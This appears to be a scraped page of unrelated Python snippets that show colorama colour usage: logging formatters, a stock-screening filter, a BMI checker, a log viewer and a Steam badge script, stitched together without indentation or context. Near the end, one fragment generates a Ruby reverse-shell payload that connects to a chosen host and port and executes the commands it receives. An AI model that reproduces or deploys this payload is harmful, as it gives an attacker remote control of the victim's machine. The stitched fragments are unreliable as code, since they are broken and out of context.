Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
if colors is True:
if force_colors:
colorama.deinit()
colorama.init(strip=False)
else:
colorama.init()
self._level_to_color = {
"critical": colorama.Fore.RED,
"exception": colorama.Fore.RED,
"error": colorama.Fore.RED,
"warn": colorama.Fore.YELLOW,
"warning": colorama.Fore.YELLOW,
"info": colorama.Fore.GREEN,
"debug": colorama.Fore.WHITE,
"notset": colorama.Back.RED,
}
self._reset = colorama.Style.RESET_ALL
else:
self._level_to_color = {
"critical": '',
"exception": '',
"error": '',
"warn": '',
"warning": '',
"info": '',
"debug": '',
"notset": '',
}
self._reset = ''
init(autoreset=True)
# colors foreground text:
fc = Fore.CYAN
fg = Fore.GREEN
fw = Fore.WHITE
fr = Fore.RED
fb = Fore.BLUE
fy = Fore.YELLOW
fm = Fore.MAGENTA
# colors background text:
bc = Back.CYAN
bg = Back.GREEN
bw = Back.WHITE
br = Back.RED
bb = Back.BLUE
by = Fore.YELLOW
bm = Fore.MAGENTA
# colors style text:
sd = Style.DIM
sn = Style.NORMAL
sb = Style.BRIGHT
c = fc + sb
g = fg + sb
w = fw + sb
r = fr + sb
b = fb + sb
y = fy + sb
m = fm + sb
from piecrust.pathutil import SiteNotFoundError, find_app_root
from piecrust.plugins.base import PluginLoader
logger = logging.getLogger(__name__)
_chef_start_time = time.perf_counter()
class ColoredFormatter(logging.Formatter):
COLORS = {
'DEBUG': colorama.Fore.BLACK + colorama.Style.BRIGHT,
'INFO': '',
'WARNING': colorama.Fore.YELLOW,
'ERROR': colorama.Fore.RED,
'CRITICAL': colorama.Back.RED + colorama.Fore.WHITE
}
def __init__(self, fmt=None, datefmt=None):
super(ColoredFormatter, self).__init__(fmt, datefmt)
def format(self, record):
color = self.COLORS.get(record.levelname)
res = super(ColoredFormatter, self).format(record)
if color:
res = color + res + colorama.Style.RESET_ALL
return res
class NullPieCrust:
def __init__(self, theme_site=False):
self.theme_site = theme_site
output.append(result)
results.append(FAIL if company['pe-trailing'] and pe > 9 else OK)
output.append(' P/E (trailing): {} {}'.format(company['pe-trailing'], results[-1]))
results.append(FAIL if company['pe-forward'] and pe > 9 else OK)
output.append(' P/E (forward): {} {}'.format(company['pe-forward'], results[-1]))
results.append(FAIL if company['p-bv'] >= 1.2 else OK)
output.append(' Price to Book Value: {} {}'.format(company['p-bv'], results[-1]))
results.append(OK if company['dividend-forward'] else FAIL)
output.append(' Dividend (forward): {} {}'.format(company['dividend-forward'], results[-1]))
if FAIL in results:
output.append(" -> "+Back.RED+Fore.WHITE+"Failed Graham filter"+Style.RESET_ALL)
if dump_failed:
print("\n"+"\n".join(output))
return output
output.append(" -> "+Back.GREEN+"Passed Graham filter"+Style.RESET_ALL)
if dump_successful:
print("\n"+"\n".join(output))
return output
"""
print("BMI:", str(bmi))
if bmi < 16:
print(Back.RED, " " * 2, Style.RESET_ALL)
jarvis.say('Severe thinness')
elif bmi < 18.5:
print(Back.YELLOW, " " * 2, Style.RESET_ALL)
jarvis.say('Mild thinness')
elif bmi < 25:
print(Back.GREEN, " " * 2, Style.RESET_ALL)
jarvis.say('Healthy')
elif bmi < 30:
print(Back.YELLOW, " " * 2, Style.RESET_ALL)
jarvis.say('Pre-obese')
else:
print(Back.RED, " " * 2, Style.RESET_ALL)
jarvis.say('Obese')
def _write_record_helper(self, num, name, state, buf):
row = num * self.LOG_HEIGHT + self.FIRST_ROW
buf.write(pos(row, 0))
if name == self._current:
buf.write(Back.RED + Fore.WHITE + Style.BRIGHT)
buf.write((' ' + '.'.join(name)).ljust(COLS))
else:
buf.write(Back.WHITE + Fore.BLACK)
buf.write((' ' + '.'.join(name)).ljust(COLS))
buf.write(Style.RESET_ALL)
for subrow, saved_record in zip(range(1, self.LOG_HEIGHT), state.last_records):
buf.write(pos(row + subrow, 0))
buf.write(' ' + super().format(saved_record))
elif 'You cannot give any more llama badges to ' in process_html:
LlamaTransactions.add(dev_name.lower())
echo_llama_already_given(dev_name, dev_id)
elif 'Cannot give badge to this user' in process_html:
llama_counts['cannot'] += 1
echo(Fore.RED + '{:<5} {:<22} {}'.format(llama_counts['cannot'], dev_name, dev_id))
elif 'That trade offer no longer exists.' in process_html or 'That trade offer has expired.' in process_html:
llama_counts['expired'] += 1
echo(Fore.CYAN + '{:<5} {:<22} {}'.format(llama_counts['expired'], dev_name, dev_id))
else:
llama_counts['unknown'] += 1
echo(Back.RED + '{:<5} {:<22} {}'.format(llama_counts['unknown'], dev_name, dev_id))
log_html('{} {} {} {}.htm'.format(get_datetime_now().replace(':', '.'), dev_id, dev_name, trade_id), process_html)
error_msg = re.search(regex['llama_error_msg'], process_html)
if error_msg:
echo(Back.RED + error_msg.group(1))
File = input("[+] Enter the path for the payload: ")
f = open(File, "w+")
S0 = """require 'socket'
c=TCPSocket.new('"""
S1 = Host
S2 = """','"""
S3 = Port
S4 = """')
while(cmd=c.gets)
IO.popen(cmd,"r"){|io|c.print io.read}end"""
f.write('{0}{1}{2}{3}{4}'.format(S0, S1, S2, S3, S4))
f.close()
print("[+] Reverse shell has been generated")
listening_option()
else:
print(Fore.WHITE+Back.RED+"[!] Please enter a valid option [!]"+Style.RESET_ALL)
Payload_Option_Ruby_Windows()
Payload_Option_Ruby_Windows()
def red_background_line(line):
return (colorama.Back.RED + colorama.Style.BRIGHT + line +
colorama.Style.RESET_ALL + colorama.Back.RESET)